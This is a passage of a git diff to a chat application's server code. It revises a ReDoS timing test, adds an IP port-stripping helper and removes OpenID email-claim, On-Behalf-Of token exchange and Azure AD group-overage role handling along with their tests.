module.exports = { getImporter, processAssistantMessage };
diff --git a/api/server/utils/import/importers.spec.js b/api/server/utils/import/importers.spec.js
index 2ddfa76658..a695a31555 100644
--- a/api/server/utils/import/importers.spec.js
+++ b/api/server/utils/import/importers.spec.js
@@ -1277,9 +1277,12 @@ describe('processAssistantMessage', () => {
results.push(duration);
});
- // Each size should complete well under 100ms; a ReDoS would cause exponential blowup
- for (let i = 0; i < results.length; i++) {
- expect(results[i]).toBeLessThan(100);
+ // Check if processing time increases exponentially
+ // In a ReDoS vulnerability, time would roughly double with each size increase
+ for (let i = 1; i < results.length; i++) {
+ const ratio = results[i] / results[i - 1];
+ expect(ratio).toBeLessThan(3); // Allow for CI environment variability while still catching ReDoS
+ console.log(`Size ${sizes[i]} processing time ratio: ${ratio}`);
}
// Also test with the exact payload from the security report
diff --git a/api/server/utils/index.js b/api/server/utils/index.js
index 59cb71625f..918ab54f85 100644
--- a/api/server/utils/index.js
+++ b/api/server/utils/index.js
@@ -1,3 +1,4 @@
+const removePorts = require('./removePorts');
const handleText = require('./handleText');
const sendEmail = require('./sendEmail');
const queue = require('./queue');
@@ -5,6 +6,7 @@ const files = require('./files');
module.exports = {
...handleText,
+ removePorts,
sendEmail,
...files,
...queue,
diff --git a/api/server/utils/removePorts.js b/api/server/utils/removePorts.js
new file mode 100644
index 0000000000..375ff1cc71
--- /dev/null
+++ b/api/server/utils/removePorts.js
@@ -0,0 +1 @@
+module.exports = (req) => req?.ip?.replace(/:\d+[^:]*$/, '');
diff --git a/api/server/utils/sendEmail.js b/api/server/utils/sendEmail.js
index 3fa3e6fcba..432a571ffb 100644
--- a/api/server/utils/sendEmail.js
+++ b/api/server/utils/sendEmail.js
@@ -124,20 +124,11 @@ const sendEmail = async ({ email, subject, payload, template, throwError = true
// Whether to accept unsigned certificates
rejectUnauthorized: !isEnabled(process.env.EMAIL_ALLOW_SELFSIGNED),
},
- };
-
- const hasUsername = !!process.env.EMAIL_USERNAME;
- const hasPassword = !!process.env.EMAIL_PASSWORD;
- if (hasUsername && hasPassword) {
- transporterOptions.auth = {
+ auth: {
user: process.env.EMAIL_USERNAME,
pass: process.env.EMAIL_PASSWORD,
- };
- } else if (hasUsername !== hasPassword) {
- logger.warn(
- '[sendEmail] EMAIL_USERNAME and EMAIL_PASSWORD must both be set for authenticated SMTP, or both omitted for unauthenticated SMTP. Proceeding without authentication.',
- );
- }
+ },
+ };
if (process.env.EMAIL_ENCRYPTION_HOSTNAME) {
// Check the certificate against this name explicitly
diff --git a/api/strategies/index.js b/api/strategies/index.js
index 9a1c58ad38..b4f7bd3cac 100644
--- a/api/strategies/index.js
+++ b/api/strategies/index.js
@@ -1,4 +1,4 @@
-const { setupOpenId, getOpenIdConfig, getOpenIdEmail } = require('./openidStrategy');
+const { setupOpenId, getOpenIdConfig } = require('./openidStrategy');
const openIdJwtLogin = require('./openIdJwtStrategy');
const facebookLogin = require('./facebookStrategy');
const discordLogin = require('./discordStrategy');
@@ -20,7 +20,6 @@ module.exports = {
facebookLogin,
setupOpenId,
getOpenIdConfig,
- getOpenIdEmail,
ldapLogin,
setupSaml,
openIdJwtLogin,
diff --git a/api/strategies/openIdJwtStrategy.js b/api/strategies/openIdJwtStrategy.js
index 83a40bf948..997dcec397 100644
--- a/api/strategies/openIdJwtStrategy.js
+++ b/api/strategies/openIdJwtStrategy.js
@@ -5,7 +5,6 @@ const { HttpsProxyAgent } = require('https-proxy-agent');
const { SystemRoles } = require('librechat-data-provider');
const { isEnabled, findOpenIDUser, math } = require('@librechat/api');
const { Strategy: JwtStrategy, ExtractJwt } = require('passport-jwt');
-const { getOpenIdEmail } = require('./openidStrategy');
const { updateUser, findUser } = require('~/models');
/**
@@ -54,7 +53,7 @@ const openIdJwtLogin = (openIdConfig) => {
const { user, error, migration } = await findOpenIDUser({
findUser,
- email: payload ? getOpenIdEmail(payload) : undefined,
+ email: payload?.email,
openidId: payload?.sub,
idOnTheSource: payload?.oid,
strategyName: 'openIdJwtLogin',
diff --git a/api/strategies/openIdJwtStrategy.spec.js b/api/strategies/openIdJwtStrategy.spec.js
index fd710f1ebd..566afe5a90 100644
--- a/api/strategies/openIdJwtStrategy.spec.js
+++ b/api/strategies/openIdJwtStrategy.spec.js
@@ -29,21 +29,10 @@ jest.mock('~/models', () => ({
findUser: jest.fn(),
updateUser: jest.fn(),
}));
-jest.mock('~/server/services/Files/strategies', () => ({
- getStrategyFunctions: jest.fn(() => ({
- saveBuffer: jest.fn().mockResolvedValue('/fake/path/to/avatar.png'),
- })),
-}));
-jest.mock('~/server/services/Config', () => ({
- getAppConfig: jest.fn().mockResolvedValue({}),
-}));
-jest.mock('~/cache/getLogStores', () =>
- jest.fn().mockReturnValue({ get: jest.fn(), set: jest.fn() }),
-);
const { findOpenIDUser } = require('@librechat/api');
+const { updateUser } = require('~/models');
const openIdJwtLogin = require('./openIdJwtStrategy');
-const { findUser, updateUser } = require('~/models');
// Helper: build a mock openIdConfig
const mockOpenIdConfig = {
@@ -192,182 +181,3 @@ describe('openIdJwtStrategy – token source handling', () => {
expect(user.federatedTokens.access_token).not.toBe(user.federatedTokens.id_token);
});
});
-
-describe('openIdJwtStrategy – OPENID_EMAIL_CLAIM', () => {
- const payload = {
- sub: 'oidc-123',
- email: 'test@example.com',
- preferred_username: 'testuser',
- upn: 'test@corp.example.com',
- exp: 9999999999,
- };
-
- beforeEach(() => {
- jest.clearAllMocks();
- delete process.env.OPENID_EMAIL_CLAIM;
-
- // Use real findOpenIDUser so it delegates to the findUser mock
- const realFindOpenIDUser = jest.requireActual('@librechat/api').findOpenIDUser;
- findOpenIDUser.mockImplementation(realFindOpenIDUser);
-
- findUser.mockResolvedValue(null);
- updateUser.mockResolvedValue({});
-
- openIdJwtLogin(mockOpenIdConfig);
- });
-
- afterEach(() => {
- delete process.env.OPENID_EMAIL_CLAIM;
- });
-
- it('should use the default email when OPENID_EMAIL_CLAIM is not set', async () => {
- const existingUser = {
- _id: 'user-id-1',
- provider: 'openid',
- openidId: payload.sub,
- email: payload.email,
- role: SystemRoles.USER,
- };
- findUser.mockImplementation(async (query) => {
- if (query.$or && query.$or.some((c) => c.openidId === payload.sub)) {
- return existingUser;
- }
- return null;
- });
-
- const req = { headers: { authorization: 'Bearer tok' }, session: {} };
- await invokeVerify(req, payload);
-
- expect(findUser).toHaveBeenCalledWith(
- expect.objectContaining({
- $or: expect.arrayContaining([{ openidId: payload.sub }]),
- }),
- );
- });
-
- it('should use OPENID_EMAIL_CLAIM when set for email lookup', async () => {
- process.env.OPENID_EMAIL_CLAIM = 'upn';
- findUser.mockResolvedValue(null);
-
- const req = { headers: { authorization: 'Bearer tok' }, session: {} };
- const { user } = await invokeVerify(req, payload);
-
- expect(findUser).toHaveBeenCalledTimes(2);
- expect(findUser.mock.calls[0][0]).toMatchObject({
- $or: expect.arrayContaining([{ openidId: payload.sub }]),
- });
- expect(findUser.mock.calls[1][0]).toEqual({ email: 'test@corp.example.com' });
- expect(user).toBe(false);
- });
-
- it('should fall back to default chain when OPENID_EMAIL_CLAIM points to missing claim', async () => {
- process.env.OPENID_EMAIL_CLAIM = 'nonexistent_claim';
- findUser.mockResolvedValue(null);
-
- const req = { headers: { authorization: 'Bearer tok' }, session: {} };
- const { user } = await invokeVerify(req, payload);
-
- expect(findUser).toHaveBeenCalledWith({ email: payload.email });
- expect(user).toBe(false);
- });
-
- it('should reject login when email fallback finds user with mismatched openidId', async () => {
- const emailMatchWithDifferentSub = {
- _id: 'user-id-2',
- provider: 'openid',
- openidId: 'different-sub',
- email: payload.email,
- role: SystemRoles.USER,
- };
-
- findUser.mockImplementation(async (query) => {
- if (query.$or) {
- return null;
- }
- if (query.email === payload.email) {
- return emailMatchWithDifferentSub;
- }
- return null;
- });
-
- const req = { headers: { authorization: 'Bearer tok' }, session: {} };
- const { user, info } = await invokeVerify(req, payload);
-
- expect(user).toBe(false);
- expect(info).toEqual({ message: 'auth_failed' });
- });
-
- it('should trim whitespace from OPENID_EMAIL_CLAIM', async () => {
- process.env.OPENID_EMAIL_CLAIM = ' upn ';
- findUser.mockResolvedValue(null);
-
- const req = { headers: { authorization: 'Bearer tok' }, session: {} };
- await invokeVerify(req, payload);
-
- expect(findUser).toHaveBeenCalledWith({ email: 'test@corp.example.com' });
- });
-
- it('should ignore empty string OPENID_EMAIL_CLAIM and use default fallback', async () => {
- process.env.OPENID_EMAIL_CLAIM = '';
- findUser.mockResolvedValue(null);
-
- const req = { headers: { authorization: 'Bearer tok' }, session: {} };
- await invokeVerify(req, payload);
-
- expect(findUser).toHaveBeenCalledWith({ email: payload.email });
- });
-
- it('should ignore whitespace-only OPENID_EMAIL_CLAIM and use default fallback', async () => {
- process.env.OPENID_EMAIL_CLAIM = ' ';
- findUser.mockResolvedValue(null);
-
- const req = { headers: { authorization: 'Bearer tok' }, session: {} };
- await invokeVerify(req, payload);
-
- expect(findUser).toHaveBeenCalledWith({ email: payload.email });
- });
-
- it('should resolve undefined email when payload is null', async () => {
- const req = { headers: { authorization: 'Bearer tok' }, session: {} };
- const { user } = await invokeVerify(req, null);
-
- expect(user).toBe(false);
- });
-
- it('should attempt email lookup via preferred_username fallback when email claim is absent', async () => {
- const payloadNoEmail = {
- sub: 'oidc-new-sub',
- preferred_username: 'legacy@corp.com',
- upn: 'legacy@corp.com',
- exp: 9999999999,
- };
-
- const legacyUser = {
- _id: 'legacy-db-id',
- email: 'legacy@corp.com',
- openidId: null,
- role: SystemRoles.USER,
- };
-
- findUser.mockImplementation(async (query) => {
- if (query.$or) {
- return null;
- }
- if (query.email === 'legacy@corp.com') {
- return legacyUser;
- }
- return null;
- });
-
- const req = { headers: { authorization: 'Bearer tok' }, session: {} };
- const { user } = await invokeVerify(req, payloadNoEmail);
-
- expect(findUser).toHaveBeenCalledTimes(2);
- expect(findUser.mock.calls[1][0]).toEqual({ email: 'legacy@corp.com' });
- expect(user).toBeTruthy();
- expect(updateUser).toHaveBeenCalledWith(
- 'legacy-db-id',
- expect.objectContaining({ provider: 'openid', openidId: payloadNoEmail.sub }),
- );
- });
-});
diff --git a/api/strategies/openidStrategy.js b/api/strategies/openidStrategy.js
index 7c43358297..198c8735ae 100644
--- a/api/strategies/openidStrategy.js
+++ b/api/strategies/openidStrategy.js
@@ -267,34 +267,6 @@ function getFullName(userinfo) {
return userinfo.username || userinfo.email;
}
-/**
- * Resolves the user identifier from OpenID claims.
- * Configurable via OPENID_EMAIL_CLAIM; defaults to: email -> preferred_username -> upn.
- *
- * @param {Object} userinfo - The user information object from OpenID Connect
- * @returns {string|undefined} The resolved identifier string
- */
-function getOpenIdEmail(userinfo) {
- const claimKey = process.env.OPENID_EMAIL_CLAIM?.trim();
- if (claimKey) {
- const value = userinfo[claimKey];
- if (typeof value === 'string' && value) {
- return value;
- }
- if (value !== undefined && value !== null) {
- logger.warn(
- `[openidStrategy] OPENID_EMAIL_CLAIM="${claimKey}" resolved to a non-string value (type: ${typeof value}). Falling back to: email -> preferred_username -> upn.`,
- );
- } else {
- logger.warn(
- `[openidStrategy] OPENID_EMAIL_CLAIM="${claimKey}" not present in userinfo. Falling back to: email -> preferred_username -> upn.`,
- );
- }
- }
- const fallback = userinfo.email || userinfo.preferred_username || userinfo.upn;
- return typeof fallback === 'string' ? fallback : undefined;
-}
-
/**
* Converts an input into a string suitable for a username.
* If the input is a string, it will be returned as is.
@@ -315,85 +287,24 @@ function convertToUsername(input, defaultValue = '') {
return defaultValue;
}
-/**
- * Exchange the access token for a Graph-scoped token using the On-Behalf-Of (OBO) flow.
- *
- * The original access token has the app's own audience (api://), which Microsoft Graph
- * rejects. This exchange produces a token with audience https://graph.microsoft.com and the
- * minimum delegated scope (User.Read) required by /me/getMemberObjects.
- *
- * Uses a dedicated cache key (`${sub}:overage`) to avoid collisions with other OBO exchanges
- * in the codebase (userinfo, Graph principal search).
- *
- * @param {string} accessToken - The original access token from the OpenID tokenset
- * @param {string} sub - The subject identifier for cache keying
- * @returns {Promise} A Graph-scoped access token
- * @see https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-on-behalf-of-flow
- */
-async function exchangeTokenForOverage(accessToken, sub) {
- if (!openidConfig) {
- throw new Error('[openidStrategy] OpenID config not initialized; cannot exchange OBO token');
- }
-
- const tokensCache = getLogStores(CacheKeys.OPENID_EXCHANGED_TOKENS);
- const cacheKey = `${sub}:overage`;
-
- const cached = await tokensCache.get(cacheKey);
- if (cached?.access_token) {
- logger.debug('[openidStrategy] Using cached Graph token for overage resolution');
- return cached.access_token;
- }
-
- const grantResponse = await client.genericGrantRequest(
- openidConfig,
- 'urn:ietf:params:oauth:grant-type:jwt-bearer',
- {
- scope: 'https://graph.microsoft.com/User.Read',
- assertion: accessToken,
- requested_token_use: 'on_behalf_of',
- },
- );
-
- if (!grantResponse.access_token) {
- throw new Error(
- '[openidStrategy] OBO exchange succeeded but returned no access_token; cannot call Graph API',
- );
- }
-
- const ttlMs =
- Number.isFinite(grantResponse.expires_in) && grantResponse.expires_in > 0
- ? grantResponse.expires_in * 1000
- : 3600 * 1000;
-
- await tokensCache.set(cacheKey, { access_token: grantResponse.access_token }, ttlMs);
-
- return grantResponse.access_token;
-}
-
/**
* Resolve Azure AD groups when group overage is in effect (groups moved to _claim_names/_claim_sources).
*
* NOTE: Microsoft recommends treating _claim_names/_claim_sources as a signal only and using Microsoft Graph
* to resolve group membership instead of calling the endpoint in _claim_sources directly.
*
- * Before calling Graph, the access token is exchanged via the OBO flow to obtain a token with the
- * correct audience (https://graph.microsoft.com) and User.Read scope.
- *
- * @param {string} accessToken - Access token from the OpenID tokenset (app audience)
- * @param {string} sub - The subject identifier of the user (for OBO exchange and cache keying)
+ * @param {string} accessToken - Access token with Microsoft Graph permissions
* @returns {Promise} Resolved group IDs or null on failure
* @see https://learn.microsoft.com/en-us/entra/identity-platform/access-token-claims-reference#groups-overage-claim
* @see https://learn.microsoft.com/en-us/graph/api/directoryobject-getmemberobjects
*/
-async function resolveGroupsFromOverage(accessToken, sub) {
+async function resolveGroupsFromOverage(accessToken) {
try {
if (!accessToken) {
logger.error('[openidStrategy] Access token missing; cannot resolve group overage');
return null;
}
- const graphToken = await exchangeTokenForOverage(accessToken, sub);
-
// Use /me/getMemberObjects so least-privileged delegated permission User.Read is sufficient
// when resolving the signed-in user's group membership.
const url = 'https://graph.microsoft.com/v1.0/me/getMemberObjects';
@@ -405,7 +316,7 @@ async function resolveGroupsFromOverage(accessToken, sub) {
const fetchOptions = {
method: 'POST',
headers: {
- Authorization: `Bearer ${graphToken}`,
+ Authorization: `Bearer ${accessToken}`,
'Content-Type': 'application/json',
},
body: JSON.stringify({ securityEnabledOnly: false }),
@@ -425,7 +336,6 @@ async function resolveGroupsFromOverage(accessToken, sub) {
}
const data = await response.json();
-
const values = Array.isArray(data?.value) ? data.value : null;
if (!values) {
logger.error(
@@ -469,10 +379,11 @@ async function processOpenIDAuth(tokenset, existingUsersOnly = false) {
}
const appConfig = await getAppConfig();
- const email = getOpenIdEmail(userinfo);
+ /** Azure AD sometimes doesn't return email, use preferred_username as fallback */
+ const email = userinfo.email || userinfo.preferred_username || userinfo.upn;
if (!isEmailDomainAllowed(email, appConfig?.registration?.allowedDomains)) {
logger.error(
- `[OpenID Strategy] Authentication blocked - email domain not allowed [Identifier: ${email}]`,
+ `[OpenID Strategy] Authentication blocked - email domain not allowed [Email: ${userinfo.email}]`,
);
throw new Error('Email domain not allowed');
}
@@ -494,8 +405,6 @@ async function processOpenIDAuth(tokenset, existingUsersOnly = false) {
const fullName = getFullName(userinfo);
const requiredRole = process.env.OPENID_REQUIRED_ROLE;
- let resolvedOverageGroups = null;
-
if (requiredRole) {
const requiredRoles = requiredRole
.split(',')
@@ -515,21 +424,19 @@ async function processOpenIDAuth(tokenset, existingUsersOnly = false) {
// Handle Azure AD group overage for ID token groups: when hasgroups or _claim_* indicate overage,
// resolve groups via Microsoft Graph instead of relying on token group values.
- const hasOverage =
- decodedToken?.hasgroups ||
- (decodedToken?._claim_names?.groups &&
- decodedToken?._claim_sources?.[decodedToken._claim_names.groups]);
-
if (
+ !Array.isArray(roles) &&
+ typeof roles !== 'string' &&
requiredRoleTokenKind === 'id' &&
requiredRoleParameterPath === 'groups' &&
decodedToken &&
- hasOverage
+ (decodedToken.hasgroups ||
+ (decodedToken._claim_names?.groups &&
+ decodedToken._claim_sources?.[decodedToken._claim_names.groups]))
) {
- const overageGroups = await resolveGroupsFromOverage(tokenset.access_token, claims.sub);
+ const overageGroups = await resolveGroupsFromOverage(tokenset.access_token);
if (overageGroups) {
roles = overageGroups;
- resolvedOverageGroups = overageGroups;
}
}
@@ -544,7 +451,7 @@ async function processOpenIDAuth(tokenset, existingUsersOnly = false) {
throw new Error(`You must have ${rolesList} role to log in.`);
}
- const roleValues = Array.isArray(roles) ? roles : roles.split(/[\s,]+/).filter(Boolean);
+ const roleValues = Array.isArray(roles) ? roles : [roles];
if (!requiredRoles.some((role) => roleValues.includes(role))) {
const rolesList =
@@ -616,33 +523,14 @@ async function processOpenIDAuth(tokenset, existingUsersOnly = false) {
throw new Error('Invalid admin role token kind');
}
- let adminRoles = get(adminRoleObject, adminRoleParameterPath);
+ const adminRoles = get(adminRoleObject, adminRoleParameterPath);
- // Handle Azure AD group overage for admin role when using ID token groups
- if (adminRoleTokenKind === 'id' && adminRoleParameterPath === 'groups' && adminRoleObject) {
- const hasAdminOverage =
- adminRoleObject.hasgroups ||
- (adminRoleObject._claim_names?.groups &&
- adminRoleObject._claim_sources?.[adminRoleObject._claim_names.groups]);
-
- if (hasAdminOverage) {
- const overageGroups =
- resolvedOverageGroups ||
- (await resolveGroupsFromOverage(tokenset.access_token, claims.sub));
- if (overageGroups) {
- adminRoles = overageGroups;
- }
- }
- }
-
- let adminRoleValues = [];
- if (Array.isArray(adminRoles)) {
- adminRoleValues = adminRoles;
- } else if (typeof adminRoles === 'string') {
- adminRoleValues = adminRoles.split(/[\s,]+/).filter(Boolean);
- }
-
- if (adminRoles && (adminRoles === true || adminRoleValues.includes(adminRole))) {
+ if (
+ adminRoles &&
+ (adminRoles === true ||
+ adminRoles === adminRole ||
+ (Array.isArray(adminRoles) && adminRoles.includes(adminRole)))
+ ) {
user.role = SystemRoles.ADMIN;
logger.info(`[openidStrategy] User ${username} is an admin based on role: ${adminRole}`);
} else if (user.role === SystemRoles.ADMIN) {
@@ -839,5 +727,4 @@ function getOpenIdConfig() {
module.exports = {
setupOpenId,
getOpenIdConfig,
- getOpenIdEmail,
};
diff --git a/api/strategies/openidStrategy.spec.js b/api/strategies/openidStrategy.spec.js
index 4436fab672..b1dc54d77b 100644
--- a/api/strategies/openidStrategy.spec.js
+++ b/api/strategies/openidStrategy.spec.js
@@ -1,6 +1,6 @@
-const undici = require('undici');
const fetch = require('node-fetch');
const jwtDecode = require('jsonwebtoken/decode');
+const undici = require('undici');
const { ErrorTypes } = require('librechat-data-provider');
const { findUser, createUser, updateUser } = require('~/models');
const { setupOpenId } = require('./openidStrategy');
@@ -64,10 +64,6 @@ jest.mock('openid-client', () => {
// Only return additional properties, but don't override any claims
return Promise.resolve({});
}),
- genericGrantRequest: jest.fn().mockResolvedValue({
- access_token: 'exchanged_graph_token',
- expires_in: 3600,
- }),
customFetch: Symbol('customFetch'),
};
});
@@ -156,7 +152,6 @@ describe('setupOpenId', () => {
process.env.OPENID_ADMIN_ROLE_TOKEN_KIND = 'id';
delete process.env.OPENID_USERNAME_CLAIM;
delete process.env.OPENID_NAME_CLAIM;
- delete process.env.OPENID_EMAIL_CLAIM;
delete process.env.PROXY;
delete process.env.OPENID_USE_PKCE;
@@ -356,33 +351,6 @@ describe('setupOpenId', () => {
expect(updateUser).not.toHaveBeenCalled();
});
- it('should block login when email fallback finds user with mismatched openidId', async () => {
- const existingUser = {
- _id: 'existingUserId',
- provider: 'openid',
- openidId: 'different-sub-claim',
- email: tokenset.claims().email,
- username: 'existinguser',
- name: 'Existing User',
- };
- findUser.mockImplementation(async (query) => {
- if (query.$or) {
- return null;
- }
- if (query.email === tokenset.claims().email) {
- return existingUser;
- }
- return null;
- });
-
- const result = await validate(tokenset);
-
- expect(result.user).toBe(false);
- expect(result.details.message).toBe(ErrorTypes.AUTH_FAILED);
- expect(createUser).not.toHaveBeenCalled();
- expect(updateUser).not.toHaveBeenCalled();
- });
-
it('should enforce the required role and reject login if missing', async () => {
// Arrange – simulate a token without the required role.
jwtDecode.mockReturnValue({
@@ -416,62 +384,6 @@ describe('setupOpenId', () => {
expect(details.message).toBe('You must have "read" role to log in.');
});
- it('should allow login when roles claim is a space-separated string containing the required role', async () => {
- // Arrange – IdP returns roles as a space-delimited string
- jwtDecode.mockReturnValue({
- roles: 'role1 role2 requiredRole',
- });
-
- // Act
- const { user } = await validate(tokenset);
-
- // Assert – login succeeds when required role is present after splitting
- expect(user).toBeTruthy();
- expect(createUser).toHaveBeenCalled();
- });
-
- it('should allow login when roles claim is a comma-separated string containing the required role', async () => {
- // Arrange – IdP returns roles as a comma-delimited string
- jwtDecode.mockReturnValue({
- roles: 'role1,role2,requiredRole',
- });
-
- // Act
- const { user } = await validate(tokenset);
-
- // Assert – login succeeds when required role is present after splitting
- expect(user).toBeTruthy();
- expect(createUser).toHaveBeenCalled();
- });
-
- it('should allow login when roles claim is a mixed comma-and-space-separated string containing the required role', async () => {
- // Arrange – IdP returns roles with comma-and-space delimiters
- jwtDecode.mockReturnValue({
- roles: 'role1, role2, requiredRole',
- });
-
- // Act
- const { user } = await validate(tokenset);
-
- // Assert – login succeeds when required role is present after splitting
- expect(user).toBeTruthy();
- expect(createUser).toHaveBeenCalled();
- });
-
- it('should reject login when roles claim is a space-separated string that does not contain the required role', async () => {
- // Arrange – IdP returns a delimited string but required role is absent
- jwtDecode.mockReturnValue({
- roles: 'role1 role2 otherRole',
- });
-
- // Act
- const { user, details } = await validate(tokenset);
-
- // Assert – login is rejected with the correct error message
- expect(user).toBe(false);
- expect(details.message).toBe('You must have "requiredRole" role to log in.');
- });
-
it('should allow login when single required role is present (backward compatibility)', async () => {
// Arrange – ensure single role configuration (as set in beforeEach)
// OPENID_REQUIRED_ROLE = 'requiredRole'
@@ -761,7 +673,7 @@ describe('setupOpenId', () => {
expect.objectContaining({
method: 'POST',
headers: expect.objectContaining({
- Authorization: 'Bearer exchanged_graph_token',
+ Authorization: `Bearer ${tokenset.access_token}`,
}),
}),
);
@@ -776,313 +688,6 @@ describe('setupOpenId', () => {
);
});
- describe('OBO token exchange for overage', () => {
- it('exchanges access token via OBO before calling Graph API', async () => {
- const openidClient = require('openid-client');
- process.env.OPENID_REQUIRED_ROLE = 'group-required';
- process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'groups';
- process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id';
-
- jwtDecode.mockReturnValue({ hasgroups: true });
-
- await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
-
- undici.fetch.mockResolvedValue({
- ok: true,
- status: 200,
- statusText: 'OK',
- json: async () => ({ value: ['group-required'] }),
- });
-
- await validate(tokenset);
-
- expect(openidClient.genericGrantRequest).toHaveBeenCalledWith(
- expect.anything(),
- 'urn:ietf:params:oauth:grant-type:jwt-bearer',
- expect.objectContaining({
- scope: 'https://graph.microsoft.com/User.Read',
- assertion: tokenset.access_token,
- requested_token_use: 'on_behalf_of',
- }),
- );
-
- expect(undici.fetch).toHaveBeenCalledWith(
- 'https://graph.microsoft.com/v1.0/me/getMemberObjects',
- expect.objectContaining({
- headers: expect.objectContaining({
- Authorization: 'Bearer exchanged_graph_token',
- }),
- }),
- );
- });
-
- it('caches the exchanged token and reuses it on subsequent calls', async () => {
- const openidClient = require('openid-client');
- const getLogStores = require('~/cache/getLogStores');
- const mockSet = jest.fn();
- const mockGet = jest
- .fn()
- .mockResolvedValueOnce(undefined)
- .mockResolvedValueOnce({ access_token: 'exchanged_graph_token' });
- getLogStores.mockReturnValue({ get: mockGet, set: mockSet });
-
- process.env.OPENID_REQUIRED_ROLE = 'group-required';
- process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'groups';
- process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id';
-
- jwtDecode.mockReturnValue({ hasgroups: true });
-
- await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
-
- undici.fetch.mockResolvedValue({
- ok: true,
- status: 200,
- statusText: 'OK',
- json: async () => ({ value: ['group-required'] }),
- });
-
- // First call: cache miss → OBO exchange → cache set
- await validate(tokenset);
- expect(mockSet).toHaveBeenCalledWith(
- '1234:overage',
- { access_token: 'exchanged_graph_token' },
- 3600000,
- );
- expect(openidClient.genericGrantRequest).toHaveBeenCalledTimes(1);
-
- // Second call: cache hit → no new OBO exchange
- openidClient.genericGrantRequest.mockClear();
- await validate(tokenset);
- expect(openidClient.genericGrantRequest).not.toHaveBeenCalled();
- });
- });
-
- describe('admin role group overage', () => {
- it('resolves admin groups via Graph when overage is detected for admin role', async () => {
- process.env.OPENID_REQUIRED_ROLE = 'group-required';
- process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'groups';
- process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id';
- process.env.OPENID_ADMIN_ROLE = 'admin-group-id';
- process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH = 'groups';
- process.env.OPENID_ADMIN_ROLE_TOKEN_KIND = 'id';
-
- jwtDecode.mockReturnValue({ hasgroups: true });
-
- await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
-
- undici.fetch.mockResolvedValue({
- ok: true,
- status: 200,
- statusText: 'OK',
- json: async () => ({ value: ['group-required', 'admin-group-id'] }),
- });
-
- const { user } = await validate(tokenset);
-
- expect(user.role).toBe('ADMIN');
- });
-
- it('does not grant admin when overage groups do not contain admin role', async () => {
- process.env.OPENID_REQUIRED_ROLE = 'group-required';
- process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'groups';
- process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id';
- process.env.OPENID_ADMIN_ROLE = 'admin-group-id';
- process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH = 'groups';
- process.env.OPENID_ADMIN_ROLE_TOKEN_KIND = 'id';
-
- jwtDecode.mockReturnValue({ hasgroups: true });
-
- await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
-
- undici.fetch.mockResolvedValue({
- ok: true,
- status: 200,
- statusText: 'OK',
- json: async () => ({ value: ['group-required', 'other-group'] }),
- });
-
- const { user } = await validate(tokenset);
-
- expect(user).toBeTruthy();
- expect(user.role).toBeUndefined();
- });
-
- it('reuses already-resolved overage groups for admin role check (no duplicate Graph call)', async () => {
- process.env.OPENID_REQUIRED_ROLE = 'group-required';
- process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'groups';
- process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id';
- process.env.OPENID_ADMIN_ROLE = 'admin-group-id';
- process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH = 'groups';
- process.env.OPENID_ADMIN_ROLE_TOKEN_KIND = 'id';
-
- jwtDecode.mockReturnValue({ hasgroups: true });
-
- await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
-
- undici.fetch.mockResolvedValue({
- ok: true,
- status: 200,
- statusText: 'OK',
- json: async () => ({ value: ['group-required', 'admin-group-id'] }),
- });
-
- await validate(tokenset);
-
- // Graph API should be called only once (for required role), admin role reuses the result
- expect(undici.fetch).toHaveBeenCalledTimes(1);
- });
-
- it('demotes existing admin when overage groups no longer contain admin role', async () => {
- process.env.OPENID_REQUIRED_ROLE = 'group-required';
- process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'groups';
- process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id';
- process.env.OPENID_ADMIN_ROLE = 'admin-group-id';
- process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH = 'groups';
- process.env.OPENID_ADMIN_ROLE_TOKEN_KIND = 'id';
-
- const existingAdminUser = {
- _id: 'existingAdminId',
- provider: 'openid',
- email: tokenset.claims().email,
- openidId: tokenset.claims().sub,
- username: 'adminuser',
- name: 'Admin User',
- role: 'ADMIN',
- };
-
- findUser.mockImplementation(async (query) => {
- if (query.openidId === tokenset.claims().sub || query.email === tokenset.claims().email) {
- return existingAdminUser;
- }
- return null;
- });
-
- jwtDecode.mockReturnValue({ hasgroups: true });
-
- await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
-
- undici.fetch.mockResolvedValue({
- ok: true,
- status: 200,
- statusText: 'OK',
- json: async () => ({ value: ['group-required'] }),
- });
-
- const { user } = await validate(tokenset);
-
- expect(user.role).toBe('USER');
- });
-
- it('does not attempt overage for admin role when token kind is not id', async () => {
- process.env.OPENID_REQUIRED_ROLE = 'requiredRole';
- process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'roles';
- process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id';
- process.env.OPENID_ADMIN_ROLE = 'admin';
- process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH = 'groups';
- process.env.OPENID_ADMIN_ROLE_TOKEN_KIND = 'access';
-
- jwtDecode.mockReturnValue({
- roles: ['requiredRole'],
- hasgroups: true,
- });
-
- await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
-
- const { user } = await validate(tokenset);
-
- // No Graph call since admin uses access token (not id)
- expect(undici.fetch).not.toHaveBeenCalled();
- expect(user.role).toBeUndefined();
- });
-
